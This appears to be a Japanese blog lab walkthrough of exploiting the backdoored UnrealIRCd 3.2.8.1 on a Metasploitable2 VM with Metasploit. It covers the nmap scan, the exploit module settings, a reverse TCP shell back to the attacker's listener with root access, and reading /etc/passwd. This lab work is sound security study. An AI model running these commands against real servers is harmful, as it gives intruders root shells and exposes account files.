Metasploit(UnrealRCD 3.2.8.1 バックドア)

UnrealIRCd - The most widely deployed IRC server - UnrealIRCd

UnrealIRCdはオープンソースIRC デーモン。

UnrealIRCd - Wikipedia
セキュリティの問題
2009年11月から2010年6月12日までのバージョン3.2.8.1 の tarball には、ユーザー制限に関係なく、デーモンを実行しているユーザーの権限でコマンドを実行できるトロイの木馬が含まれていました。この問題は修正されました-現在のtarballダウンロードにはトロイの木馬が含まれているとは思われません。

2010年1月に、IRCネットワークに対するクロスプロトコルJavaScriptベースの攻撃「Firefox XPS」が報告されました。UnrealIRCd開発者は、その後、アンチスプーフィング設定パラメータを「オン」に設定するためのパッチをリリースしました-デフォルトは以前は「オフ」でした-「kill / zline / etc such connections」。それは構成ファイルの最初の質問です。

UnrealIRCd における任意のコマンドを実行される脆弱性
JVNDB-2010-005500 - JVN iPedia - 脆弱性対策情報データベース

msfconsole を起動する

  • Metasploit で使うデータベースを起動する
  • データベースの初期化を行う
  • msfconsole を起動する
root@kali:~# service postgresql restart
root@kali:~# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization (← 前回も起動させたので初期化は済んでる)

root@kali:~# msfconsole 
                                                  

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


       =[ metasploit v5.0.43-dev                          ]
+ -- --=[ 1917 exploits - 1074 auxiliary - 330 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 4 evasion                                       ]

ポート 6667 で動作しているサービスを確認する。

msf5 > nmap -sV -p 6667 192.168.56.105
[*] exec: nmap -sV -p 6667 192.168.56.105

Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 22:49 JST
Nmap scan report for 192.168.56.105
Host is up (0.0010s latency).

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
Service Info: Host: irc.Metasploitable.LAN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.72 seconds

対応するエクスプロイトが存在するか検索する。

msf5 > search unrealIRCd

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

エクスプロイトの情報を確認する。

msf5 > info exploit/unix/irc/unreal_ircd_3281_backdoor

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target address range or CIDR identifier (←RHOST として ターゲットアドレスを指定する)
  RPORT   6667             yes       The target port (TCP) (← RPORTとして 6667 を使用する)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

このエクスプロイトを使用する。

msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor

ターゲットホストをセットする。

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.56.105
RHOST => 192.168.56.105

攻撃を実行する。

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.0.2.15:4444 
[*] 192.168.56.105:6667 - Connected to 192.168.56.105:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.105:6667 - Sending backdoor command...
id (← コマンドを入力)

通常、コマンド入力に対して下記のように反応を返すはずなのだが…

id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

今回は少しうまくいかず下記のように「Exploit completed, but no session was created.」となる。

id
uname -a
[*] Exploit completed, but no session was created.

一応コマンドは通る(root 権限で侵入できている)が
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > uname -a
[*] exec: uname -a
Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86_64 GNU/Linux

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > whoami
[*] exec: whoami
root

セッションは繋がっていない
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show sessions

Active sessions
===============

No active sessions.

Kali の インターフェースをNATのみとし、IP 10.0.2.15 としていたため、Metasploitable2 の HostOnlyアダプターの IP 192.168.56.105 とセグメントが違ったためだと思う。 Kali に2つ目の NIC を HostOnly アダプターとし、IP 192.168.56.106 で Metasploitable2 側とセグメントを合わせたら接続がスムーズに行った。

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
 ~(中略)~
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.106  netmask 255.255.255.0  broadcast 192.168.56.255
 ~(中略)~
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit 

[*] Started reverse TCP double handler on 192.168.56.106:4444 
[*] 192.168.56.105:6667 - Connected to 192.168.56.105:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.105:6667 - Sending backdoor command...
id
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1LhnqQR6km6262ML;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1LhnqQR6km6262ML\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.106:4444 -> 192.168.56.105:57027) at 2019-09-07 01:28:57 +0900

uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root (← Metasploitable2 に root 権限で侵入できている)
cat /etc/passwd (← パスワードファイルも取得できる)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
 ~(後略)~
^C (← Ctrl + C で抜ける)
Abort session 1? [y/N]  y
""

[*] 192.168.56.105 - Command shell session 1 closed.  Reason: User exit
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) >

接続を切る。

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > back
msf5 > exit (or まとめて > quit)
root@kali:~# 

『Armitage(UnrealRCD 3.2.8.1 バックドア)』
www.demandosigno.study

/* -----codeの行番号----- */